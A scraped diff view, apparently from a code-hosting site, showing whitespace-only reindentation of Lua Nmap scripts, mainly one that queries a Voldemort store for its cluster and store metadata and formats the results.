output_hop(count)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if (#output_structured > 0) then
|
if (#output_structured > 0) then
|
||||||
output = tab.dump(output)
|
output = tab.dump(output)
|
||||||
if ( arg_kmlfile ) then
|
if ( arg_kmlfile ) then
|
||||||
if ( not(createKMLFile(arg_kmlfile, coordinates)) ) then
|
if ( not(createKMLFile(arg_kmlfile, coordinates)) ) then
|
||||||
output = output .. ("\n\nERROR: Failed to write KML to file: %s"):format(arg_kmlfile)
|
output = output .. ("\n\nERROR: Failed to write KML to file: %s"):format(arg_kmlfile)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return output_structured, stdnse.format_output(true, output)
|
return output_structured, stdnse.format_output(true, output)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -52,27 +52,27 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
|||||||
-- @return status true on success, false on failure
|
-- @return status true on success, false on failure
|
||||||
-- @return socket connected to the server
|
-- @return socket connected to the server
|
||||||
local function connect(host, port)
|
local function connect(host, port)
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
socket:set_timeout(5000)
|
socket:set_timeout(5000)
|
||||||
|
|
||||||
local status, err = socket:connect(host, port)
|
local status, err = socket:connect(host, port)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to connect to server"
|
return false, "Failed to connect to server"
|
||||||
end
|
end
|
||||||
|
|
||||||
status, err = socket:send("vp3")
|
status, err = socket:send("vp3")
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to send request to server"
|
return false, "Failed to send request to server"
|
||||||
end
|
end
|
||||||
|
|
||||||
local response
|
local response
|
||||||
status, response = socket:receive(2)
|
status, response = socket:receive(2)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to receive response from server"
|
return false, "Failed to receive response from server"
|
||||||
elseif( response ~= "ok" ) then
|
elseif( response ~= "ok" ) then
|
||||||
return false, "Unsupported protocol"
|
return false, "Unsupported protocol"
|
||||||
end
|
end
|
||||||
return true, socket
|
return true, socket
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Get Voldemort metadata
|
-- Get Voldemort metadata
|
||||||
@@ -82,92 +82,92 @@ end
|
|||||||
-- @return data string as received from the server
|
-- @return data string as received from the server
|
||||||
local function getMetadata(socket, file)
|
local function getMetadata(socket, file)
|
||||||
|
|
||||||
local req = bin.pack(">HCzIcz", "0100", #("metadata"), "metadata", 0, #file, file)
|
local req = bin.pack(">HCzIcz", "0100", #("metadata"), "metadata", 0, #file, file)
|
||||||
local status, err = socket:send(req)
|
local status, err = socket:send(req)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to send request to server"
|
return false, "Failed to send request to server"
|
||||||
end
|
end
|
||||||
local status, data = socket:receive(8)
|
local status, data = socket:receive(8)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to receive response from server"
|
return false, "Failed to receive response from server"
|
||||||
end
|
end
|
||||||
local _, len = bin.unpack(">S", data, 9)
|
local _, len = bin.unpack(">S", data, 9)
|
||||||
while( #data < len - 2 ) do
|
while( #data < len - 2 ) do
|
||||||
local status, tmp = socket:receive(len - 2 - #data)
|
local status, tmp = socket:receive(len - 2 - #data)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to receive response from server"
|
return false, "Failed to receive response from server"
|
||||||
end
|
end
|
||||||
data = data .. tmp
|
data = data .. tmp
|
||||||
end
|
end
|
||||||
return true, data
|
return true, data
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
-- table of variables to query the server
|
-- table of variables to query the server
|
||||||
local vars = {
|
local vars = {
|
||||||
["cluster"] = {
|
["cluster"] = {
|
||||||
{ key = "Name", match = "<cluster>.-<name>(.-)</name>" },
|
{ key = "Name", match = "<cluster>.-<name>(.-)</name>" },
|
||||||
{ key = "Id", match = "<cluster>.-<server>.-<id>(%d-)</id>.-</server>" },
|
{ key = "Id", match = "<cluster>.-<server>.-<id>(%d-)</id>.-</server>" },
|
||||||
{ key = "Host", match = "<cluster>.-<server>.-<host>(%w-)</host>.-</server>" },
|
{ key = "Host", match = "<cluster>.-<server>.-<host>(%w-)</host>.-</server>" },
|
||||||
{ key = "HTTP Port", match = "<cluster>.-<server>.-<http%-port>(%d-)</http%-port>.-</server>" },
|
{ key = "HTTP Port", match = "<cluster>.-<server>.-<http%-port>(%d-)</http%-port>.-</server>" },
|
||||||
{ key = "TCP Port", match = "<cluster>.-<server>.-<socket%-port>(%d-)</socket%-port>.-</server>" },
|
{ key = "TCP Port", match = "<cluster>.-<server>.-<socket%-port>(%d-)</socket%-port>.-</server>" },
|
||||||
{ key = "Admin Port", match = "<cluster>.-<server>.-<admin%-port>(%d-)</admin%-port>.-</server>" },
|
{ key = "Admin Port", match = "<cluster>.-<server>.-<admin%-port>(%d-)</admin%-port>.-</server>" },
|
||||||
{ key = "Partitions", match = "<cluster>.-<server>.-<partitions>([%d%s,]*)</partitions>.-</server>" },
|
{ key = "Partitions", match = "<cluster>.-<server>.-<partitions>([%d%s,]*)</partitions>.-</server>" },
|
||||||
},
|
},
|
||||||
["store"] = {
|
["store"] = {
|
||||||
{ key = "Persistence", match = "<store>.-<persistence>(.-)</persistence>" },
|
{ key = "Persistence", match = "<store>.-<persistence>(.-)</persistence>" },
|
||||||
{ key = "Description", match = "<store>.-<description>(.-)</description>" },
|
{ key = "Description", match = "<store>.-<description>(.-)</description>" },
|
||||||
{ key = "Owners", match = "<store>.-<owners>(.-)</owners>" },
|
{ key = "Owners", match = "<store>.-<owners>(.-)</owners>" },
|
||||||
{ key = "Routing strategy", match = "<store>.-<routing%-strategy>(.-)</routing%-strategy>" },
|
{ key = "Routing strategy", match = "<store>.-<routing%-strategy>(.-)</routing%-strategy>" },
|
||||||
{ key = "Routing", match = "<store>.-<routing>(.-)</routing>" },
|
{ key = "Routing", match = "<store>.-<routing>(.-)</routing>" },
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
-- connect to the server
|
-- connect to the server
|
||||||
local status, socket = connect(host, port)
|
local status, socket = connect(host, port)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return fail(socket)
|
return fail(socket)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- get the cluster meta data
|
-- get the cluster meta data
|
||||||
local status, response = getMetadata(socket, "cluster.xml")
|
local status, response = getMetadata(socket, "cluster.xml")
|
||||||
if ( not(status) or not(response:match("<cluster>.*</cluster>")) ) then
|
if ( not(status) or not(response:match("<cluster>.*</cluster>")) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Get the cluster details
|
-- Get the cluster details
|
||||||
local cluster_tbl = { name = "Cluster" }
|
local cluster_tbl = { name = "Cluster" }
|
||||||
for _, item in ipairs(vars["cluster"]) do
|
for _, item in ipairs(vars["cluster"]) do
|
||||||
local val = response:match(item.match)
|
local val = response:match(item.match)
|
||||||
if ( val ) then
|
if ( val ) then
|
||||||
table.insert(cluster_tbl, ("%s: %s"):format(item.key, val))
|
table.insert(cluster_tbl, ("%s: %s"):format(item.key, val))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
-- get the stores meta data
|
-- get the stores meta data
|
||||||
local status, response = getMetadata(socket, "stores.xml")
|
local status, response = getMetadata(socket, "stores.xml")
|
||||||
if ( not(status) or not(response:match("<stores>.-</stores>")) ) then
|
if ( not(status) or not(response:match("<stores>.-</stores>")) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
local result, stores = {}, { name = "Stores" }
|
local result, stores = {}, { name = "Stores" }
|
||||||
table.insert(result, cluster_tbl)
|
table.insert(result, cluster_tbl)
|
||||||
|
|
||||||
-- iterate over store items
|
-- iterate over store items
|
||||||
for store in response:gmatch("<store>.-</store>") do
|
for store in response:gmatch("<store>.-</store>") do
|
||||||
local name = store:match("<store>.-<name>(.-)</name>")
|
local name = store:match("<store>.-<name>(.-)</name>")
|
||||||
local store_tbl = { name = name or "unknown" }
|
local store_tbl = { name = name or "unknown" }
|
||||||
|
|
||||||
for _, item in ipairs(vars["store"]) do
|
for _, item in ipairs(vars["store"]) do
|
||||||
local val = store:match(item.match)
|
local val = store:match(item.match)
|
||||||
if ( val ) then
|
if ( val ) then
|
||||||
table.insert(store_tbl, ("%s: %s"):format(item.key, val))
|
table.insert(store_tbl, ("%s: %s"):format(item.key, val))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
table.insert(stores, store_tbl)
|
table.insert(stores, store_tbl)
|
||||||
end
|
end
|
||||||
table.insert(result, stores)
|
table.insert(result, stores)
|
||||||
return stdnse.format_output(true, result)
|
return stdnse.format_output(true, result)
|
||||||
end
|
end
|
||||||
|
|||||||
Reference in New Issue
Block a user